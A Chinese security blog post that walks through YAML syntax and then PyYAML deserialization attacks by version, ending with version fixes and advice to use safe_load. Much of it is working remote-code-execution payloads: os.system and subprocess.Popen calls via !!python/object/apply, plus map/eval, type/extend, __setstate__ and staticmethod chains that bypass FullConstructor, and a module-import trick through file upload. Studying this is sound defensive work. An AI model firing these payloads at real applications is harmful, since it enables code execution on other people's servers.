SecMap - 反序列化(PyYAML)

本文最后更新于:2022年7月7日 凌晨

上半年假期过完咯。

YAML 相信橘友们都接触过。YAML 最常见的用途之一是创建配置文件。相比 JSON,因为 YAML 有更好的可读性(比如可以加注释),对用户更友好。我的博客用的是 hexo,它的配置就是通过 YAML 实现的。

基础知识

这里简单说一下 YAML 支持的基础语法,若想更加深入了解语法规则,请移步 Google 搜索。

基础语法规则

基础语法规则有以下几种:

  1. 一个 .yml 文件中可以有多份配置文件,用 --- 隔开即可
  2. 对大小写敏感
  3. YAML 中的值,可使用 json 格式的数据
  4. 使用缩进表示层级关系
  5. 缩进时不允许使用 tab(\t),只允许使用空格。
  6. 缩进的空格数目不重要,只要相同层级的元素左侧对齐即可。
  7. # 表示注释,和 Python 一样
  8. !! 表示强制类型装换
  9. 可以通过 & 来定义锚点,使用 * 来引用锚点。* 也可以和 << 配合,引用时会自动展开对象,类似 Python 的 **dict()
  10. YAML 支持的数据结构有三种
    1. 对象:键值对的集合
    2. 列表:一组按次序排列的值
    3. 标量(scalars):原子值(不可再拆分),例如 数字、日期等等

下面通过 YAML 内容与 PyYAML 解析之后的结果对比,可以清晰地了解 YAML 到底配置了啥:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import yaml

yaml.load('''

string_0:
- macr0phag3
- "I'm Tr0y" # 可以使用双引号或者单引号包裹特殊字符
- "I am fine. \u263A" # 使用双引号包裹时支持 Unicode 编码
- "\\x0d\\x0a is \\r\\n" # 使用双引号包裹时还支持 Hex 编码
- newline
newline2 # 字符串可以拆成多行,每行之间用空格隔开

# > 可以在字符串中折叠换行
string_1: >
newline
newline2

# | 保留换行符
string_2: |
newline
newline2

# | 保留换行符,且去掉最后一个换行符
string_3: |-
newline
newline2

list: &id_1
- 18 # 定义锚点
- cm

two_dimensional_list:
-
- Macr0phag3
- Tr0y

boolean:
- TRUE # true、True、Yes、YES、yes、ON、on、On 都可以
- FALSE # false、False、NO、no、No、off、OFF、Off 都可以

float:
- 3.14
- 6.8523015e+5 # 可以使用科学计数法

int:
- 123
- 0b10100111010010101110 # 支持二进制表示
- 0x0a # 支持十六进制表示

nulls:
- null # NULL 也 ok
- Null
- ~
-

date:
- 2018-02-17 # 日期必须使用 ISO 8601 格式,即 yyyy-MM-dd

datetime:
- 2018-02-17T15:02:31+08:00 # 时间使用 ISO 8601 格式,时间和日期之间使用 T 连接,最后使用 + 代表时区

# > 可以在字符串中折叠换行
object: &id_2
name: Tr0y
money: 0

json: [{1: Macr0phag3, 2: Tr0y}, "???"] # 值支持 json

reference:
size: *id_1
<<: *id_2

''')

结果如下:

(内含彩蛋)

对于 PyYAML 的使用,请移步官方文档:

https://pyyaml.org/wiki/PyYAMLDocumentation

类型转换

上面还差一个重要的语法没讲:可以通过 !! 来进行类型转换。

通过上面的测试可以发现,如果识别到一个数字,那么按照 YAML 格式来处理,这个类型就是数字类型。如果我们想把数字类型变为字符串类型就可以这样:a: !!str 1,它的结果和 a: "1" 是一样的。

由于 YAML 仅仅是一种格式规范,所以理论上一个支持 YAML 的解析器可以选择性支持 YAML 的某些语法,也可以在 YAML 的基础上利用 !! 来扩展额外的解析能力。本文主要聚焦于 PyYAML,所以直接看源码就可以知道它在 !! 上做了哪些魔改。

理解基础的类型转换

site-packages/yaml/constructor.py 中可以看到使用了 add_constructor 的有 24 多个地方,这些都是用来支持基础的类型转换(带有 tag:yaml.org,2002:python/ 的说明是 PyYAML 自定义的类型转换),这些基础类型转换的功能非常好理解,看上面那张图即可,就不多说了,来看下它是怎么实现的吧。

!!binary 这个为例,对应的函数是 construct_yaml_binary,下个断点可以看到,传入的参数 node 格式为:

1
2
3
4
ScalarNode(
tag='tag:yaml.org,2002:binary',
value='R0lGODlhDAAMAIQAAP//9/X\n17unp5WZmZgAAAOfn515eXv\nPz7Y6OjuDg4J+fn5OTk6enp\n56enmleECcgggoBADs=mZmE'
)

所以对于一个 !!x x 来说,类型转换执行的伪代码就是:find_function("x")(x)。这个也很好理解。

高级类型转换

在理解了基础的类型转换之后,查看源码可以发现还有一个 add_multi_constructor 函数,一共有 5 个:

  • python/name
  • python/module
  • python/object
  • python/object/new
  • python/object/apply

从上面那张图可以看到,这几个都可以引入新的模块。这就是 PyYAML 存在反序列化的本质原因。

攻击思路

截止目前(2022),PyYAML 的利用划分以版本 5.1 为界限,<5.1 版本的利用非常简单,就先介绍一下;>5.1 的利用很相似,但需要稍微做一些解释,所以放在后面。

下面按照利用难度从易到难排列。

版本小于 5.1

下面以 4.2b4 为例。

关键方法

<5.1 版本中提供了几个方法用于解析 YAML:

  1. yaml.load:加载单个 YAML 配置
  2. yaml.load_all:加载多个 YAML 配置

以上这两种均可以通过 Loader 参数来指定加载器。一共有三个加载器,加载器后面对应了三个不同的构造器:
1. BaseConstructor:最最基础的构造器,不支持强制类型转换
1. SafeConstructor:集成 BaseConstructor,强制类型转换和 YAML 规范保持一致,没有魔改
1. Constructor:在 YAML 规范上新增了很多强制类型转换

Constructor 这个是最危险的构造器,却是默认使用的构造器。

python/object/apply

对应的函数是 construct_python_object_apply,最终在 make_python_instance 中引入了模块中的方法并执行。

python/object/apply 要求参数必须用一个列表的形式提供,所以以下 payload 都是等价的,但是写法不一样,可以用来绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
yaml.load('exp: !!python/object/apply:os.system ["whoami"]')

yaml.load("exp: !!python/object/apply:os.system ['whoami']")

# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")

yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")

yaml.load("""
exp: !!python/object/apply:os.system
args: ["whoami"]
""")

# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
kwds: {"command": "whoami"}
""")

yaml.load("!!python/object/apply:os.system [whoami]: exp")

yaml.load("!!python/object/apply:os.system [whoami]")

yaml.load("""
!!python/object/apply:os.system
- whoami
""")

python/object/new

对应的函数是 construct_python_object_new,这个函数仅有一行,就是调用 construct_python_object_apply,他们两个链路的区别在于调用 make_python_instancenewobj 参数不同。

而仔细观察 make_python_instance 中的 if newobj and isinstance(cls, type) 条件基本上都会满足(有例外,后面那个条件有点特殊的地方,下面会细说)。所以 python/object/newpython/object/apply 可以视为是完全等价的,那么它们的 payload 就是一样的,参考上面即可。

python/object

对应的函数是 construct_python_object,非常简单,先 make_python_instance 了一下,然后执行了 set_python_instance_state。根据上面的经验,只要走到 make_python_instance 就可以触发调用。但问题是这里没法传参,所以只能执行无参函数:

有趣的是,这种利用方式会报错:TypeError: can't set attributes of built-in/extension type 'object',通过分析代码可知,流程是走到了 setattr(object, key, value) 报错的:

这个是必然的,object 这种内置的类,都是在底层的 C 代码中写死的,官方不允许对它们随便设置属性的。这里顺便说一句,通过 gc 引用是可以修改的:

当然这个不是本文重点。

所以这很明显是一个 bug,因为这个流程既然存在就必定会走到,而现在一旦走到就必然报错。查了下 issue,发现在 18 年的时候就已经发现了:

的确,应该是 setattr(instance, key, value)。这个 bug 在 5.3 已修复了。

python/module

对应的函数是 construct_python_module,里面调用了 find_python_module,等价于 import

那么在这种没有调用逻辑的情况下,是否有办法利用呢?我感觉在可以写任意文件的时候是有办法的。比如搭配任意文件上传。

首先写入执行目录,yaml 中指定同名模块,例如上传一段恶意代码,叫 exp.py,然后通过 yaml.load('!!python/module:exp') 加载。

在实际的场景中,由于一般用于存放上传文件的目录和执行目录并不是同一个,例如:

1
2
3
4
app.py
uploads
|_ user.png
|_ header.jpg

这个时候只需要上传一个 .py 文件,这个文件会被放在 uploads 下,这时只需要触发 import uploads.header 就可以利用了:

更简单的,直接上传 __init__.py,在触发的时候用 !!python/module:uploads 就可以了。

python/name

对应的函数是 construct_python_name,里面调用了 find_python_name,与 python/module 的逻辑极其类似,区别在于,python/module 仅仅返回模块而 python/name 返回的是模块下面的属性/方法。

利用的逻辑除了上面一样之外,还可以用于这种场景:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import yaml


TOKEN = "Y0u_Nev3r_kn0w."

def check(config):
try:
token = yaml.load(config).get("token", None)
except Exception:
token = None

if token == TOKEN:
print("yes, master.")
else:
print("fuck off!")


config = '' # 可控输入点
check(config)

这个时候的 payload 为 token: !!python/name:__main__.TOKEN,无需知道 TOKEN 是什么,但是需要知道变量名。

当然,这个场景除了 !!python/module 无法完成利用之外,上述其他姿势都可以实现。

版本大于等于 5.1

由于默认的构造器太过强大,开发人员不了解这些危险很容易中招。所以 PyYAML 的开发者就将构造器分为:

  1. BaseConstructor:没有任何强制类型转换
  2. SafeConstructor:只有基础类型的强制类型转换
  3. FullConstructor:除了 python/object/apply 之外都支持,但是加载的模块必须位于 sys.modules 中(说明已经主动 import 过了才让加载)。这个是默认的构造器。
  4. UnsafeConstructor:支持全部的强制类型转换
  5. Constructor:等同于 UnsafeConstructor

对应顶层的方法新增了:
1. yaml.full_load
1. yaml.full_load_all
1. yaml.unsafe_load
1. yaml.unsafe_load_all

通常情况下,我们还是会使用 yaml.load,这个时候会有 warning:

因为在不指定 Loader 的时候,默认是 FullConstructor 构造器。这对开发人员起到了提醒的作用。

除此之外,在 make_python_instance 还新增的额外的限制:if not (unsafe or isinstance(cls, type)),也就是说,在安全模式下,加载进来的 module.name 必须是一个类(例如 intstr 之类的),否则就会报错。

常规利用方式

常规的利用方式和 <5.1 版本的姿势是一样的。当然前提是构造器必须用的是 UnsafeConstructor 或者 Constructor,也就是这种情况:

  1. yaml.unsafe_load(exp)
  2. yaml.unsafe_load_all(exp)
  3. yaml.load(exp, Loader=UnsafeLoader)
  4. yaml.load(exp, Loader=Loader)
  5. yaml.load_all(exp, Loader=UnsafeLoader)
  6. yaml.load_all(exp, Loader=Loader)

直接打就好了。

突破 FullConstructor

FullConstructor 中,限制了只允许加载 sys.modules 中的模块。这个有办法突破吗?我们先列举一下限制:

  1. 只引用,不执行的限制:
    1. 加载进来的 module 必须是位于 sys.modules
  2. 引用并执行:
    1. 加载进来的 module 必须是位于 sys.modules
    2. FullConstructor 下,unsafe = False,加载进来的 module.name 必须是一个类

举两个不行的例子:
1. !!python/name:pickle.loadspickle 不在 sys.modules
1. !!python/object/new:builtins.eval ["print(1)"]eval 虽然在 sys.modules 中,但是 type(builtins.eval)builtin_function_or_method 而不是一个类。

那么最直接的思路就是,有没有一个模块,它在 FullConstructor 上下文中的 sys.modules 里,同时它还有一个类,这个类可以执行命令?答案就是 subprocess.Popen。所以最简单的 payload 就是:

1
2
3
4
yaml.load("""
!!python/object/apply:subprocess.Popen
- whoami
""")

不用 !!python/object/apply 的话,也有其他办法。

通过遍历 builtins 下的所有方法,可以找到这些看起来有点用的:

1
2
3
4
5
6
7
8
9
10
11
12
13
boolbytearraybytes
complex
dict
enumerate
filterfloatfrozenset
int
list
mapmemoryview
object
rangereversed
setslicestrstaticmethod
tuple
zip

其中,map 是可以用来触发函数执行的,那么函数怎么引用进来呢?很明显就是 python/name,所以这个 payload 的原型就可以是:

1
tuple(map(eval, ["__import__('os').system('whoami')"]))

翻译为 YAML 即为:

1
2
3
4
5
6
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('whoami')"]
""")

这里有个非常有趣的地方,如果把 tuple 换成 list 或者是 set,理论上同样会解开 map 里的内容:

但是通过 !!python/object/new 来使用时却会忽略参数,生成一个空的迭代对象:

可以看到,上面并没有执行命令(只要尝试解开 payload 里的 map 必定会执行命令)。跟踪执行流程并审计源码可以发现,在 make_python_instance 中,这也是为什么我上面说这个条件比较特殊。

可以看到,这里是通过 cls.__new__ 来新建一个 cls 实例的,因为 FullConstructor 下使用 python/object/new 时,newobj 必定是 True,而后面那个条件必定是满足的,否则上面一个条件就会报错。

所以到这里我们就可以复现这个 “bug”:

那么为什么通过 list.__new__ 会忽略元素参数,而 tuple.__new__ 却不会呢?

通过审计 Python 的 C 代码,对比 list 和 tuple 的底层实现,大致可以得出这么一个结论:由于 __new__ 的调用在 __init__ 之前,所以我猜测不可变类型是在 __new__ 时插入元素,而可变类型是在 __init__ 时插入元素,所以 __new__ 时传入的元素参数就被忽略了,而 __init__ 又没有接收到元素,所以就生成了一个空的实例。注意,这个结论由于精力原因,并没有经过严格的考证,若感兴趣橘友们应当自行跟踪调试。

所以 frozensetbytes 等这种不可变类型都会解开里面的元素从而触发命令执行,而 dictbytearray 等这种可变类型就不会:

所以,我们只需要找到 触发带参调用 + 引入函数 这两个点就可以完成攻击。在 construct_python_object_apply 中,不仅进行了实例化,如果有 listitems 还会调用实例的 extend 方法,所以原型是:

1
2
exp = type("exp", (,), {"extend": eval})
exp.extend("__import__('os').system('whoami')")

YAML payload:

1
2
3
4
5
6
7
8
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")

结果:

construct_python_object_apply 中还对实例进行 setstate,即调用了 __setstate__,所以同样的思路,原型:

1
2
exp = type("exp", (list, ), {"__setstate__": eval})
exp.__setstate__("__import__('os').system('whoami')")

YAML payload:

1
2
3
4
5
6
7
8
yaml.full_load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"__setstate__": !!python/name:eval }
state: "__import__('os').system('whoami')"
""")

这里的 type 也可以用 staticmethod 来替换。例如,在 set_python_instance_state 中,还有个调用 slotstate.update 的逻辑,那么只要将 slotstate.update 置为 evalstate 就是 RCE 的 payload。原型:

1
2
3
4
5
6
7
8
exp = staticmethod([0])
exp.__dict__.update(
{"update": eval, "items": list}
)
exp_raise = str()
# 由于 str 没有 __dict__ 方法,所以在 PyYAML 解析时会触发下面调用

exp.update("__import__('os').system('whoami')")

YAML payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
yaml.full_load("""
!!python/object/new:str
args: []
# 通过 state 触发调用
state: !!python/tuple
- "__import__('os').system('whoami')"
# 下面构造 exp
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list # 不设置这个也可以,会报错但也已经执行成功
""")

这个稍微复杂一些。

总之这个组合拳用来绕过 FullConstructor 是很简单的。

版本大于等于 5.2

FullConstructor 现在只额外支持 !!python/name!!python/object!!python/object/new!!python/module!!python/object/apply G 了。

版本大于等于 5.3.1

2022.6.29 本文更新

5.3.1 引入了一个新的过滤机制,本质上就是实现一个属性名黑名单(正则),匹配到就报错。

见:https://github.com/yaml/pyyaml/pull/386

简单,粗暴。

版本大于等于 5.4

2022.6.29 本文更新

FullConstructor 现在只额外支持 !!python/name!!python/object/apply!!python/object!!python/object/new!!python/module 都 G 了。

版本大于等于 6.0

2022.6.29 本文更新

现在在使用 yaml.load 时,用户必须指定 Loader。这个改进其实有点强硬,所以引发了一堆 issue,还有人在直接开怼认为这是糟糕的设计。但是至少安全性上来说,相比给一个告警,确实得到了一定提升。

issue 见:https://github.com/yaml/pyyaml/issues/576

防御

我感觉大多数时候没必要使用如此灵活的解析,所以作为研发,可以尽量使用 yaml.safe_load 来做解析,这一点没啥可说的。

写完这一切之后,我在官方 issue 中看到了关于 >5.1 的 yaml.full_load 安全问题的讨论,这个是默认方法却存在漏洞。作为安全人员,我的观点是官方提供的默认方法应该是安全的,即使牺牲了部分功能。如果一定需要使用那些不太安全的功能也可以,但是需要主动开启(例如加额外的参数,或者换方法名),否则大多数人都会使用 full_load,毕竟是默认的方法。我感觉打印警告起到的作用还是稍微弱了一些。


本来周一就有周末综合征
又叠加了一个节后综合征
buff 叠满了


SecMap - 反序列化(PyYAML)
https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/
作者
Tr0y
发布于
2022年6月6日
更新于
2022年7月7日
许可协议